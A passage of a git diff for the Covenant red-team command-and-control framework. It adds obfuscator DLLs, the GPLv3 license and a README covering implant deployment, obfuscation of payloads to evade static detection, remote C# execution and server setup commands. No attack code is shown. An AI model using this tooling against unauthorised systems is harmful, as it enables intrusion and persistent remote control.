b/Covenant/refs/Confuser.Core.dll differ diff --git a/Covenant/refs/Confuser.DynCipher.dll b/Covenant/refs/Confuser.DynCipher.dll new file mode 100644 index 00000000..d2cce359 Binary files /dev/null and b/Covenant/refs/Confuser.DynCipher.dll differ diff --git a/Covenant/refs/Confuser.MSBuild.Tasks.dll b/Covenant/refs/Confuser.MSBuild.Tasks.dll new file mode 100644 index 00000000..eb24c23a Binary files /dev/null and b/Covenant/refs/Confuser.MSBuild.Tasks.dll differ diff --git a/Covenant/refs/Confuser.Protections.dll b/Covenant/refs/Confuser.Protections.dll new file mode 100644 index 00000000..772a65ad Binary files /dev/null and b/Covenant/refs/Confuser.Protections.dll differ diff --git a/Covenant/refs/Confuser.Renamer.dll b/Covenant/refs/Confuser.Renamer.dll new file mode 100644 index 00000000..0f58e5f5 Binary files /dev/null and b/Covenant/refs/Confuser.Renamer.dll differ diff --git a/Covenant/refs/Confuser.Runtime.dll b/Covenant/refs/Confuser.Runtime.dll new file mode 100644 index 00000000..2bd02f5a Binary files /dev/null and b/Covenant/refs/Confuser.Runtime.dll differ diff --git a/Covenant/refs/dnlib.dll b/Covenant/refs/dnlib.dll new file mode 100644 index 00000000..c978b905 Binary files /dev/null and b/Covenant/refs/dnlib.dll differ diff --git a/LICENSE b/LICENSE new file mode 100644 index 00000000..10926e87 --- /dev/null +++ b/LICENSE @@ -0,0 +1,675 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. + diff --git a/README.md b/README.md new file mode 100644 index 00000000..78208b3d --- /dev/null +++ b/README.md @@ -0,0 +1,84 @@ +# Covenant + +Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers. + +Covenant is an ASP.NET Core, cross-platform application that includes a robust API to enable a client-server architecture that allows for multi-user collaboration. There are three main components of Covenant's architecture: + +* **Covenant** - Covenant is the server-side component of the client-server architecture. Covenant runs the command and control server hosted on infrastructure shared between operators. I will also frequently use the term "Covenant" to refer to the entire overarching project that includes all components of the architecture. +* **Elite** - [Elite](https://github.com/cobbr/Elite) is the client-side component of the client-server architecture. Elite is a command-line interface that operators use to interact with the Covenant server to conduct operations. +* **Grunt** - A "Grunt" is the name of Covenant's implant that is deployed to targets. + +## Features + +Covenant has several key features: + +* **Multi-Platform** - Covenant and Elite both target .NET Core, which makes them multi-platform. This allows these programs to run natively on Linux, MacOS, and Windows platforms. Additionally, both Covenant and Elite have docker support, allowing these programs to run within a container on any system that has docker installed. +* **Multi-User** - Covenant supports multi-user collaboration. The ability to collaborate has become crucial for effective red team operations. Many users can start Elite clients that connect to the same Covenant server and operate independently or collaboratively. +* **API Driven** - Covenant is driven by a server-side API that enables multi-user collaboration and is easily extendible. Additionally, Covenant includes a Swagger UI that makes development and debugging easier and more convenient. +* **Listener Profiles** - Covenant supports listener "profiles" that control how the network communication between Grunt implants and Covenant listeners look on the wire. +* **Encrypted Key Exchange** - Covenant implements an encrypted key exchange between Grunt implants and Covenant listeners that is largely based on a similar exchange in the [Empire project](https://github.com/EmpireProject/Empire), in addition to optional SSL encryption. This achieves the cryptographic property of forward secrecy between Grunt implants. +* **Dynamic Compilation** - Covenant uses the [Roslyn API](https://github.com/dotnet/roslyn) for dynamic C# compilation. Every time a new Grunt is generated or a new task is assigned, the relevant code is recompiled and obfuscated with [ConfuserEx](https://github.com/mkaring/ConfuserEx), avoiding totally static payloads. Covenant reuses much of the compilation code from the [SharpGen](https://github.com/cobbr/sharpgen) project, which I described in much more detail [in a previous post](https://cobbr.io/SharpGen.html). +* **Inline C# Execution** - Covenant borrows code and ideas from both the [SharpGen](https://github.com/cobbr/sharpgen) and [SharpShell](https://github.com/cobbr/sharpshell) projects to allow operators to execute C# one-liners on Grunt implants. This allows for similar functionality to that described in the [SharpShell post](https://cobbr.io/SharpShell.html), but allows the one-liners to be executed on remote implants. +* **Tracking Indicators** - Covenant tracks "indicators" throughout an operation, and summarizes them in the `Indicators` menu. This allows an operator to conduct actions that are tracked throughout an operation and easily summarize those actions to the blue team during or at the end of an assessment for deconfliction and educational purposes. This feature is still in it's infancy and still has room for improvement. + +## Users Quick-Start Guide + +### Docker + +Covenant is easy to deploy with Docker! + +First, build the docker image: +``` +$ ~/Covenant/Covenant > docker build -t covenant . +``` + +Now we can run Covenant in a Docker container: +``` +$ ~/Covenant/Covenant > docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant covenant --username AdminUser --computername 0.0.0.0 +``` +The `--username user` and `--computername 0.0.0.0` are arguments being passed to Covenant. This creates a Covenant admin user named `AdminUser`, and binds the Covenant API to `0.0.0.0`, which is important when using Docker (we won't have access to bind to the docker container's IP address). + +The `-it` parameter is a Docker parameter that indicates that we should begin Covenant in an interactive tty. This is important, as you will be prompted to set a password for the `AdminUser` user. Alternatively, you can set this non-interactively with the `--password` parameter to Covenant, but this will leave your password in plaintext in command history, not ideal. + +The `-p` parameters expose ports to the Covenant Docker container. You must expose port 7443 and any other ports you would like to start listeners on. + +Once Covanant has been started and you have set the admin password, you can disconnect from the interactive interface, if you would like, by pressing `Ctrl+p` and `Ctrl+q` consecutively. + + +To stop the container, you can run: +``` +$ ~/Covenant/Covenant > docker stop covenant +``` +And to restart covenant interactively (with all data saved), you can run: +``` +$ ~/Covenant/Covenant > docker start covenant -ai +``` +Alternatively, to remove all Covenant data and restart fresh, you can remove and run again: +``` +$ ~/Covenant/Covenant > docker rm covenant +$ ~/Covenant/Covenant > docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant covenant --username AdminUser --computername 0.0.0.0 +``` + +Finally, want to develop and hack on Covenant? Awesome, Covenant has a Swagger UI, built for exactly this purpose! Just start Covenant in Development mode as seen below and navigate to `https://localhost:7443/swagger`: +``` +$ ~/Covenant/Covenant > docker run -it -p 7443:7443 -p 80:80 -p 443:443 --env ASPNETCORE_ENVIRONMENT=Development --name covenant covenant --username AdminUser --computername 0.0.0.0 +``` + +### Without Docker + +Don't like Docker? Ok.... :( + +We can build and run Covenant ourselves using `dotnet` core. Be sure to have installed dotnet core 2.1 prior to attempting! +``` +$ ~/Covenant/Covenant > dotnet build +$ ~/Covenant/Covenant > dotnet run --username AdminUser +``` + +Have a redistributable `Covenant.dll`? Okay, no need to build, we can run this with dotnet core as well: +``` +$ ~/Covenant/Covenant > dotnet Covenant.dll -u AdminUser +``` + +> Okay it's running.... Now what? + +You need the client-side component of this project, `Elite`! Go checkout the [Elite README](https://github.com/cobbr/Elite/blob/master/README.md) to see how to do that.